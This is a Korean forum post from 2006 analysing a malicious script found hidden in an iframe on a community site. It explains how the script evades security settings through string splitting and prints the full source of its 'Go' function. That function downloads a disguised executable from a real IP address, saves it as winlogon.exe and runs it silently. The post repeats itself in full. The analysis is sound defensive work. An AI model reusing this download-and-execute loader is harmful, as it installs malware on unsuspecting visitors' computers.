이곳 비밀사이트의 보안문제(지우개/누룽지맛 님 및 다른 분들 모두 봐주셨으면...)
따닥이 | 2006-08-17 18:45:25
조회 5395 | 추천 0 | 다운로드 3
지우개님과 누룽지맛님의 논쟁을 보다가...
논쟁의 쟁점인 iframe에서 링크된 msadokr.asp 란 파일을 열어서 봤습니다.
제가 웹프로그래머가 아닌 관계로 전체를 이해하기는 힘들었지만, 분명 백도어 내지는 기타 나쁜 의도로 작성된 것임을 직감할 수 있는 내용들이 있던데요...
지금부터 제가 감을 잡고 있는 부분들을 설명해보겠습니다.
이왕 이렇게 된거 싸움만 나고 더운 여름철 열만 올리는 논쟁보다는 제가 올려드린 내용을 가지고 서로가 가지고 있는 해박한 지식을 공유해보는게 어떨까 해서 올려봅니다.
지금부터 제가 보안이건, 바이러스 이건 백도어건 뭣이건 간에 의심이 되는 부분을 나열해보겠습니다.
이를 토대로 내용을 추가하시거나 틀린부분에 대한 지적, 또는 지식공유를 부탁드립니다.
1. iframe에 링크된 사이트
58.120.227.145 로 연결된 사이트는 아직 베타테스트 수준의 온라인 학습 사이트 같았습니다. 이런 사이트가 비밀과 연관될 리는 만무하지요...
2. 파일의 실행
body onload='myfoste()'
HTML을 모르시는 분을 위해서 설명드리자면, HTML상으로 표현되는 부분은 없이 숨겨진 스크립터만 실행된다는 것을 의미합니다. onload 라는 구문은 "이 파일의 표현부분(몸체:body)이 로드되면"이란 뜻이고 myfoste()라는 특정 기능을 수행하는 곳을 호출한다는 뜻입니다.
즉 겉으로 아무런 표현을 하지 않고 내부적으로 뭔가 수행만 하도록 한 것 같다는 뜻이죠.
물론 비밀 사이트를 개발 하신 분이, 개발당시의 환경/기술 및 몇가지 문제로 비밀사이트의 정상동작을 위해서 보이지 않게 실행만 시키는 모종의 스크립트를 호출했을거라고 억지로 추측도 해보았으나, 호출된곳이 1번 온라인학습 사이트라는 점을 감안하면 의구심이 증폭됩니다.
3. myfoste() 부분은 무슨 동작을 하는가?
지면상 생략했지만 윈도우 레지스트리에 등록된 여러개의 서비스를 강제로 실행시키는 기능을 수행합니다.
임시로 객체를 생성하여 그 객체와 함께 myCreateOB 라는 또 다른 함수에게 WScript.Shell 이라는 매개변수를 전달시키죠. 그렇게 해서 전달받은 객체를 "Go"f라는 또 다른 함수에게 넘겨주어 모종의 일을 시키게 됩니다.
4. myCreateOB 라는 함수
createObject 와 GetObject 라는 윈도우 내부 API를 호출하여 레지스트리에 등록된 객체를 생성 및 반환합니다.
5. Go 라는 함수
이 놈이 이 파일에서 뭔가를 동작시키게 하는 핵심인 함수입니다.
- WScript.Shell 과 ADODB.Stream 이라는 객체를 생성합니다.
- HTTP 프로토콜의 XML Request 객체를 생성하여 gif파일이 실제 이미지가 아니고 가짜 파일이라고 지적한 부분을 "GET"방식으로 호출합니다.
- 어떤 분은 tempwinlogon.exe라고 하셨고 어떤 분은 그냥 winlogon.exe 라고 하셨는데 제가 보기에는 winlogon.exe가 맞는것 같습니다.
소스를 보면.. e.Item("TEMP") + "winlogon.exe"; 라고 나와 있는데 제가 추측하기에는 프로세스의 임시경로에 있는 winlogon.exe라는 파일을 호출하는 것 같군요. 즉 TEMP는 파일명이 아니라 특정 경로명을 의미하는 것 같습니다.
************ 핵심 ****************
가짜 gif가 있는 url을 실행시켜서 GET방식으로 뭔가를 가져온다음 특정 임시경로에 winlogon.exe라는 파일을 생성해서 그 내용을 저장시키고 winlogon.exe를 실행시킵니다.
소스 내에서 사용되는 각종 리터럴 상수들 갑의 형태도 정말 핵심적인 부분입니다.
너무 많이 존재하기 때문에 설명을 위해 하나만 예를 들어보겠습니다.
var s = myCreateOB(a, "WS"+"cr"+"ipt.S"+"he"+"ll");
정상적인 경우라면 위와 같이 코딩을 안하고 아래와 같이 코딩합니다.
var s = myCreateOB(a, "WScript.Shell");
왜 위와 같이 했을까요? 그것은 각종 보안 프로그램 및 브라우저의 보안 기능등에서 WScript.Shell을 외부에서 실행시키지 못하도록 했기 때문입니다.
WScript.Shell은 스크립터를 내 컴퓨터에서 실행시키기 위해 필요한 필수 개체입니다. 이걸 각종 보안프로그램 및 내 컴퓨터의 보안설정에서 실행을 못하도록 막아놓고있기 때문에 이를 속이고 강제로 실행시키기 위해서 이 파일명을 분해해 놓았던 것입니다.
개발자가 기술력의 한계로 인해 어쩔수 없이 모종의 무언가를 실행시켜야만 했다고 좋게 생각하기에는 이미 너무 많은 의구심을 낳게 합니다.
//////////////////////////// 종합 정리 /////////////////////////
1. 우선 두분... 싸우고 헐뜯지 마셨으면 합니다. 누룽지만님께서는 아끼는 비밀사이트에 접속해서 이러한 문제가 발생하니 흥분한 상태신것 같고, 지우개님께서는 과정이 어찌되었건 누룽지만 님을 도와드리고 싶었던 좋은 의도였기 때문입니다. 화해하셨으면 좋겠습니다... ^^;
2. 이러한 소스를 내부에 걸어놓은 당사자가 누군지는 모르겠습니다.
그 당사자가 밝혀지게 되고 또, 그 사람이 뭐라고 변명을 하면 저는 모르겠네요... 제가 웹 전문가가 아니라서요... 그냥 이런 부분은 다분히 문제가 되지 않을까 해서 정리해봤습니다.
3. 이유야 어찌되었건 간에 확실한 것은 온라인 학습 사이트와 몰래 연결되었고 보안 시스템을 뚫을려는 시도가 있는 소스가 비밀사이트 첫페이지에 분명히 있습니다.
4. 누룽지만님의 인터넷 보안 설정에서 분명히 차이점이 있었던것 같습니다. 인터넷 옵션에서 보안 설정을 나중에 "높게"로 설정하니 문제가 발생하지 않으셨다고 하셨는데요... 저의 경우 "보통"으로 설정되어 있었습니다. 그래도 아무런 메시지가 안 나옵니다.
하지만~~~ BUT!!!!
이것으로 끝나는게 아닙니다.
"사용자 지정 수준"이라는 게 있죠? 이 버튼을 눌러보면, 인터넷에서 허용된 파일의 다운로드, 실행, 등등.. 여러가지 보안설정을 사용자가 직접 설정하도록 하는 부분인데요...
이 부분에서 누룽지만 님과 저를 포함하여 기타 아무런 문제가 나지 않는 다른 분들과의 차이점이 난것 같습니다. 이 부분을 캡쳐하여 직접 올리고 싶었으나 딱히 저로서도 뭘 건드려야 하는지 모르겠고(잘 못 건드리면 다른데서 또 구멍이 생길지도 몰라서 겁나요... ㅠ.ㅠ), 내용도 좀 길어서 한번에 캡쳐해서 올리기엔 귀차니즘이 오시네요...
보안설정을 "높게"라 하면 "사용자 지정 수준"의 여러 설정이 실행금지,다운로드금지 등으로 되겠죠...
즉... 누룽지님께서 말씀하신 백신에 검출된 경로는 순서대로 말씀드리자면...
1. 보안설정에서 특정 파일의 다운로드 혹은 실행이 가능하도록 체크되어 있다.
2. 비밀의 대문에 있는 온라인 학습지 사이트에 있는 진짜 비밀투성이 스크립터 파일을 저장 및 실행시킨다.
3. 백신에서 발견한다.
여기서 2번이 불가능하도록 보안설정이 된 분들한테는 나타나지 않지만 누룽지님의 컴퓨터에는 그게 가능하도록 되어 있었던 것 같습니다.
///////////
그러니... 지우개님의 말씀도 맞고, 누룽지님의 말씀도 맞습니다. 누룽지님의 컴퓨터 설정이 다른 분들과 뭔가 틀린 부분이 분명히 있었던것 같아 지우개님께서 지적하셨고, 뭔가 불손한 스크립터를 사용자 모르게 강제로 저장 및 실행을 시도한다는 것을 누룽지님께서 지적하셨으니까요...
반대로 말하자면 두분 다 틀렸다고 할 수도 있겠죠?
맞는 부분이 더 중요한데... 틀린 부분이 강조되어 두분께서 열을 올리신게 아닌가 합니다.
헥헥.. 장문의 글을 적으려니 힘드네요... ㅠ.ㅠ
그래도 자유사진방이라 m16 소총 미니 사진을 올리구요...
끝으로 이 Go 라는 함수의 원문소스도 올려드립니다.
분명 문제가 아닐수 없을듯 하네요...
항상 즐거운 하루가 되십시오...
/////////////////////// Go 원본 소스 ////////////////////////////////
function Go(a) {
var s = myCreateOB(a, "WS"+"cr"+"ipt.S"+"he"+"ll");
var o = myCreateOB(a, "AD"+"OD"+"B.St"+"ream");
var e = s.Environment("Process");
var xml = null;
var url = 'http://58.120.227.145/board/adokr.gif';
var bin = e.Item("TEMP") + "winlogon.exe";
var dat;
try { xml=new XMLHttpRequest(); }
catch(e) {
try { xml = new ActiveXObject("Mic"+"ros"+"of"+"t.XM"+"LHTTP"); }
catch(e) {
xml = new ActiveXObject("MSX"+"ML2.Ser"+"verXM"+"LHT"+"TP");
}
}
if (! xml) return(0);
xml.open("GET", url, false)
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin,0);
}
////////////////////////////////////////////////////////////////////////////
논쟁의 쟁점인 iframe에서 링크된 msadokr.asp 란 파일을 열어서 봤습니다.
제가 웹프로그래머가 아닌 관계로 전체를 이해하기는 힘들었지만, 분명 백도어 내지는 기타 나쁜 의도로 작성된 것임을 직감할 수 있는 내용들이 있던데요...
지금부터 제가 감을 잡고 있는 부분들을 설명해보겠습니다.
이왕 이렇게 된거 싸움만 나고 더운 여름철 열만 올리는 논쟁보다는 제가 올려드린 내용을 가지고 서로가 가지고 있는 해박한 지식을 공유해보는게 어떨까 해서 올려봅니다.
지금부터 제가 보안이건, 바이러스 이건 백도어건 뭣이건 간에 의심이 되는 부분을 나열해보겠습니다.
이를 토대로 내용을 추가하시거나 틀린부분에 대한 지적, 또는 지식공유를 부탁드립니다.
1. iframe에 링크된 사이트
58.120.227.145 로 연결된 사이트는 아직 베타테스트 수준의 온라인 학습 사이트 같았습니다. 이런 사이트가 비밀과 연관될 리는 만무하지요...
2. 파일의 실행
body onload='myfoste()'
HTML을 모르시는 분을 위해서 설명드리자면, HTML상으로 표현되는 부분은 없이 숨겨진 스크립터만 실행된다는 것을 의미합니다. onload 라는 구문은 "이 파일의 표현부분(몸체:body)이 로드되면"이란 뜻이고 myfoste()라는 특정 기능을 수행하는 곳을 호출한다는 뜻입니다.
즉 겉으로 아무런 표현을 하지 않고 내부적으로 뭔가 수행만 하도록 한 것 같다는 뜻이죠.
물론 비밀 사이트를 개발 하신 분이, 개발당시의 환경/기술 및 몇가지 문제로 비밀사이트의 정상동작을 위해서 보이지 않게 실행만 시키는 모종의 스크립트를 호출했을거라고 억지로 추측도 해보았으나, 호출된곳이 1번 온라인학습 사이트라는 점을 감안하면 의구심이 증폭됩니다.
3. myfoste() 부분은 무슨 동작을 하는가?
지면상 생략했지만 윈도우 레지스트리에 등록된 여러개의 서비스를 강제로 실행시키는 기능을 수행합니다.
임시로 객체를 생성하여 그 객체와 함께 myCreateOB 라는 또 다른 함수에게 WScript.Shell 이라는 매개변수를 전달시키죠. 그렇게 해서 전달받은 객체를 "Go"f라는 또 다른 함수에게 넘겨주어 모종의 일을 시키게 됩니다.
4. myCreateOB 라는 함수
createObject 와 GetObject 라는 윈도우 내부 API를 호출하여 레지스트리에 등록된 객체를 생성 및 반환합니다.
5. Go 라는 함수
이 놈이 이 파일에서 뭔가를 동작시키게 하는 핵심인 함수입니다.
- WScript.Shell 과 ADODB.Stream 이라는 객체를 생성합니다.
- HTTP 프로토콜의 XML Request 객체를 생성하여 gif파일이 실제 이미지가 아니고 가짜 파일이라고 지적한 부분을 "GET"방식으로 호출합니다.
- 어떤 분은 tempwinlogon.exe라고 하셨고 어떤 분은 그냥 winlogon.exe 라고 하셨는데 제가 보기에는 winlogon.exe가 맞는것 같습니다.
소스를 보면.. e.Item("TEMP") + "winlogon.exe"; 라고 나와 있는데 제가 추측하기에는 프로세스의 임시경로에 있는 winlogon.exe라는 파일을 호출하는 것 같군요. 즉 TEMP는 파일명이 아니라 특정 경로명을 의미하는 것 같습니다.
************ 핵심 ****************
가짜 gif가 있는 url을 실행시켜서 GET방식으로 뭔가를 가져온다음 특정 임시경로에 winlogon.exe라는 파일을 생성해서 그 내용을 저장시키고 winlogon.exe를 실행시킵니다.
소스 내에서 사용되는 각종 리터럴 상수들 갑의 형태도 정말 핵심적인 부분입니다.
너무 많이 존재하기 때문에 설명을 위해 하나만 예를 들어보겠습니다.
var s = myCreateOB(a, "WS"+"cr"+"ipt.S"+"he"+"ll");
정상적인 경우라면 위와 같이 코딩을 안하고 아래와 같이 코딩합니다.
var s = myCreateOB(a, "WScript.Shell");
왜 위와 같이 했을까요? 그것은 각종 보안 프로그램 및 브라우저의 보안 기능등에서 WScript.Shell을 외부에서 실행시키지 못하도록 했기 때문입니다.
WScript.Shell은 스크립터를 내 컴퓨터에서 실행시키기 위해 필요한 필수 개체입니다. 이걸 각종 보안프로그램 및 내 컴퓨터의 보안설정에서 실행을 못하도록 막아놓고있기 때문에 이를 속이고 강제로 실행시키기 위해서 이 파일명을 분해해 놓았던 것입니다.
개발자가 기술력의 한계로 인해 어쩔수 없이 모종의 무언가를 실행시켜야만 했다고 좋게 생각하기에는 이미 너무 많은 의구심을 낳게 합니다.
//////////////////////////// 종합 정리 /////////////////////////
1. 우선 두분... 싸우고 헐뜯지 마셨으면 합니다. 누룽지만님께서는 아끼는 비밀사이트에 접속해서 이러한 문제가 발생하니 흥분한 상태신것 같고, 지우개님께서는 과정이 어찌되었건 누룽지만 님을 도와드리고 싶었던 좋은 의도였기 때문입니다. 화해하셨으면 좋겠습니다... ^^;
2. 이러한 소스를 내부에 걸어놓은 당사자가 누군지는 모르겠습니다.
그 당사자가 밝혀지게 되고 또, 그 사람이 뭐라고 변명을 하면 저는 모르겠네요... 제가 웹 전문가가 아니라서요... 그냥 이런 부분은 다분히 문제가 되지 않을까 해서 정리해봤습니다.
3. 이유야 어찌되었건 간에 확실한 것은 온라인 학습 사이트와 몰래 연결되었고 보안 시스템을 뚫을려는 시도가 있는 소스가 비밀사이트 첫페이지에 분명히 있습니다.
4. 누룽지만님의 인터넷 보안 설정에서 분명히 차이점이 있었던것 같습니다. 인터넷 옵션에서 보안 설정을 나중에 "높게"로 설정하니 문제가 발생하지 않으셨다고 하셨는데요... 저의 경우 "보통"으로 설정되어 있었습니다. 그래도 아무런 메시지가 안 나옵니다.
하지만~~~ BUT!!!!
이것으로 끝나는게 아닙니다.
"사용자 지정 수준"이라는 게 있죠? 이 버튼을 눌러보면, 인터넷에서 허용된 파일의 다운로드, 실행, 등등.. 여러가지 보안설정을 사용자가 직접 설정하도록 하는 부분인데요...
이 부분에서 누룽지만 님과 저를 포함하여 기타 아무런 문제가 나지 않는 다른 분들과의 차이점이 난것 같습니다. 이 부분을 캡쳐하여 직접 올리고 싶었으나 딱히 저로서도 뭘 건드려야 하는지 모르겠고(잘 못 건드리면 다른데서 또 구멍이 생길지도 몰라서 겁나요... ㅠ.ㅠ), 내용도 좀 길어서 한번에 캡쳐해서 올리기엔 귀차니즘이 오시네요...
보안설정을 "높게"라 하면 "사용자 지정 수준"의 여러 설정이 실행금지,다운로드금지 등으로 되겠죠...
즉... 누룽지님께서 말씀하신 백신에 검출된 경로는 순서대로 말씀드리자면...
1. 보안설정에서 특정 파일의 다운로드 혹은 실행이 가능하도록 체크되어 있다.
2. 비밀의 대문에 있는 온라인 학습지 사이트에 있는 진짜 비밀투성이 스크립터 파일을 저장 및 실행시킨다.
3. 백신에서 발견한다.
여기서 2번이 불가능하도록 보안설정이 된 분들한테는 나타나지 않지만 누룽지님의 컴퓨터에는 그게 가능하도록 되어 있었던 것 같습니다.
///////////
그러니... 지우개님의 말씀도 맞고, 누룽지님의 말씀도 맞습니다. 누룽지님의 컴퓨터 설정이 다른 분들과 뭔가 틀린 부분이 분명히 있었던것 같아 지우개님께서 지적하셨고, 뭔가 불손한 스크립터를 사용자 모르게 강제로 저장 및 실행을 시도한다는 것을 누룽지님께서 지적하셨으니까요...
반대로 말하자면 두분 다 틀렸다고 할 수도 있겠죠?
맞는 부분이 더 중요한데... 틀린 부분이 강조되어 두분께서 열을 올리신게 아닌가 합니다.
헥헥.. 장문의 글을 적으려니 힘드네요... ㅠ.ㅠ
그래도 자유사진방이라 m16 소총 미니 사진을 올리구요...
끝으로 이 Go 라는 함수의 원문소스도 올려드립니다.
분명 문제가 아닐수 없을듯 하네요...
항상 즐거운 하루가 되십시오...
/////////////////////// Go 원본 소스 ////////////////////////////////
function Go(a) {
var s = myCreateOB(a, "WS"+"cr"+"ipt.S"+"he"+"ll");
var o = myCreateOB(a, "AD"+"OD"+"B.St"+"ream");
var e = s.Environment("Process");
var xml = null;
var url = 'http://58.120.227.145/board/adokr.gif';
var bin = e.Item("TEMP") + "winlogon.exe";
var dat;
try { xml=new XMLHttpRequest(); }
catch(e) {
try { xml = new ActiveXObject("Mic"+"ros"+"of"+"t.XM"+"LHTTP"); }
catch(e) {
xml = new ActiveXObject("MSX"+"ML2.Ser"+"verXM"+"LHT"+"TP");
}
}
if (! xml) return(0);
xml.open("GET", url, false)
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin,0);
}
////////////////////////////////////////////////////////////////////////////
)
1
댓글 [14]
누룽지맛 | 2006-08-18 | 추천 0
대군 | 2006-08-18 | 추천 0
김상우 | 2006-08-18 | 추천 0
viviz | 2006-08-17 | 추천 0
http://safety.live.com/site/ko-KR/
따닥이 | 2006-08-17 | 추천 0
따닥이 | 2006-08-17 | 추천 0
따닥이 | 2006-08-17 | 추천 0
누룽지맛 | 2006-08-17 | 추천 0
안덕래 | 2006-08-17 | 추천 0
따닥이 | 2006-08-17 | 추천 0
누룽지맛 | 2006-08-17 | 추천 0
Tomorrow | 2006-08-17 | 추천 0
누룽지맛 | 2006-08-17 | 추천 0
포케불프 | 2006-08-17 | 추천 0